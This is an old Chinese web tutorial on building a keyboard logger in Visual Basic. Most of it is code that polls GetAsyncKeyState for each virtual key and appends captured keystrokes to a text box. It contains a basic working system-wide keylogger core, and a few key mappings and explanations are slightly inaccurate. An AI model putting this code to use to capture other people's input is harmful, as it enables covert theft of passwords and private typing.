首页 网络安全 安全学院 查看内容

VB编写键盘记录器

2009-8-7 12:28 951 0

摘要:   这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个16位的...
关键词: KeyResult GetAsyncKeyState KeyFound AddKey 32767 GoTo Then End KeyLoop 函数

  这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer  好了,函数就先介绍这么多,下面开始动手实战了  first,当然是创建窗口了      在时间控件的Timer时间中定义检查按键类型,代码如下:  Dim AddKey  KeyResult = GetAsyncKeyState(13) '回车键  If KeyResult = -32767 Then  AddKey = "[ENTER]"  GoTo KeyFound  End If  KeyResult = GetAsyncKeyState(17) 'Ctrl键  If KeyResult = -32767 Then  AddKey = "[CTRL]"  GoTo KeyFound  End If  KeyResult = GetAsyncKeyState(8) '退格键  If KeyResult = -32767 Then  AddKey = "[BKSPACE]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(9)  If KeyResult = -32767 Then  AddKey = "[TAB]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(18)  If KeyResult = -32767 Then  AddKey = "[ALT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(19)  If KeyResult = -32767 Then  AddKey = "[PAUSE]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(20)  If KeyResult = -32767 Then  AddKey = "[CAPS]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(27)  If KeyResult = -32767 Then  AddKey = "[ESC]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(33)  If KeyResult = -32767 Then  AddKey = "[PGUP]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(34)  If KeyResult = -32767 Then  AddKey = "[PGDN]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(35)  If KeyResult = -32767 Then  AddKey = "[END]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(36)  If KeyResult = -32767 Then  AddKey = "[HOME]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(44)  If KeyResult = -32767 Then  AddKey = "[SYSRQ]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(45)  If KeyResult = -32767 Then  AddKey = "[INS]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(46)  If KeyResult = -32767 Then  AddKey = "[DEL]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(144)  If KeyResult = -32767 Then  AddKey = "[NUM]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(37)  If KeyResult = -32767 Then  AddKey = "[LEFT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(38)  If KeyResult = -32767 Then  AddKey = "[UP]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(39)  If KeyResult = -32767 Then  AddKey = "[RIGHT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(40)  If KeyResult = -32767 Then  AddKey = "[DOWN]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(112)  If KeyResult = -32767 Then  AddKey = "[F1]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(113)  If KeyResult = -32767 Then  AddKey = "[F2]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(114)  If KeyResult = -32767 Then  AddKey = "[F3]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(115)  If KeyResult = -32767 Then  AddKey = "[F4]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(116)  If KeyResult = -32767 Then  AddKey = "[F5]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(117)  If KeyResult = -32767 Then  AddKey = "[F6]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(118)  If KeyResult = -32767 Then  AddKey = "[F7]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(119)  If KeyResult = -32767 Then  AddKey = "[F8]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(120)  If KeyResult = -32767 Then  AddKey = "[F9]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(121)  If KeyResult = -32767 Then  AddKey = "[F10]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(122)  If KeyResult = -32767 Then  AddKey = "[F11]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(123)  If KeyResult = -32767 Then  AddKey = "[F12]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(124)  If KeyResult = -32767 Then  AddKey = "[F13]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(125)  If KeyResult = -32767 Then  AddKey = "[F14]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(126)  If KeyResult = -32767 Then  AddKey = "[F15]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(127)  If KeyResult = -32767 Then  AddKey = "[F16]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(32)  If KeyResult = -32767 Then  AddKey = " "  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(186)  If KeyResult = -32767 Then  AddKey = ";"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(187)  If KeyResult = -32767 Then  AddKey = "="  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(188)  If KeyResult = -32767 ThenAddKey = ","  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(189)  If KeyResult = -32767 Then  AddKey = "-"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(190)  If KeyResult = -32767 Then  AddKey = "."  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(191)  If KeyResult = -32767 Then  AddKey = "/" '/  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(192)  If KeyResult = -32767 Then  AddKey = "`" '`  GoTo KeyFound  End If    '----------NUM PAD  KeyResult = GetAsyncKeyState(96)  If KeyResult = -32767 Then  AddKey = "0"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(97)  If KeyResult = -32767 Then  AddKey = "1"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(98)  If KeyResult = -32767 Then  AddKey = "2"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(99)  If KeyResult = -32767 Then  AddKey = "3"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(100)  If KeyResult = -32767 Then  AddKey = "4"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(101)  If KeyResult = -32767 Then  AddKey = "5"  GoTo KeyFound  End If  '版权所有:教程中国    KeyResult = GetAsyncKeyState(102)  If KeyResult = -32767 Then  AddKey = "6"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(103)  If KeyResult = -32767 Then  AddKey = "7"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(104)  If KeyResult = -32767 Then  AddKey = "8"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(105)  If KeyResult = -32767 Then  AddKey = "9"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(106)  If KeyResult = -32767 Then  AddKey = "*"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(107)  If KeyResult = -32767 Then  AddKey = "+"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(108)  If KeyResult = -32767 Then  AddKey = "[ENTER]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(109)  If KeyResult = -32767 Then  AddKey = "-"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(110)  If KeyResult = -32767 Then  AddKey = "."  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(2)  If KeyResult = -32767 Then  AddKey = "/"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(220)  If KeyResult = -32767 Then  AddKey = "\"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(222)  If KeyResult = -32767 Then  AddKey = "'"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(221)  If KeyResult = -32767 Then  AddKey = "]"      GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(219)  If KeyResult = -32767 Then  AddKey = "["  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(16) 'shift键  If KeyResult = -32767 And TimeOut = 0 Then  AddKey = "[SHIFT]"  LastKey = AddKey  TimeOut = 1  GoTo KeyFound  End If    KeyLoop = 41    Do Until KeyLoop = 256 ' 显示其他键  KeyResult = GetAsyncKeyState(KeyLoop)  If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)  KeyLoop = KeyLoop + 1  Loop  LastKey = AddKey  Exit Sub  KeyFound: '显示键的信息    Text1 = Text1 & AddKey  End Sub  上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……  由于数目太多,一一列举不方便  下面是其他的事件  Private Sub Timer2_Timer()  TimeOut = 0  End Sub  目的是随时刷新清空  记录键盘输入后就准备你自己所设定的程序了。。。      例如:按ENTER  当VB检测到信息后执行相应的操作。。。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部